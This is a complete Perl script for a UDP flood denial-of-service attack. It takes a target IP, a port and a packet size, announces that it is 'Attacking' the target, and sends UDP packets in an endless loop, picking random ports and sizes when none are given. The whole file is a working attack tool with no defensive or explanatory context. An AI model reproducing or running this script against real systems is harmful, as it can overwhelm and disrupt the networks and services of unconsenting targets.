#!/usr/bin/perl
#perl udpflood ip port 65500
use Socket;
my ($ip,$port,$size);$ip=$ARGV[0];$port=$ARGV[1];$size=$ARGV[2];
socket(flood, PF_INET, SOCK_DGRAM, 17);$iaddr = inet_aton("$ip");
printf "Attacking $ip with port $port.
";
for (;;) {$pport = $port ? $port : int(rand(65500+65500))+0;$psize = $size ? $size : int(rand(65500+65500))+0;send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}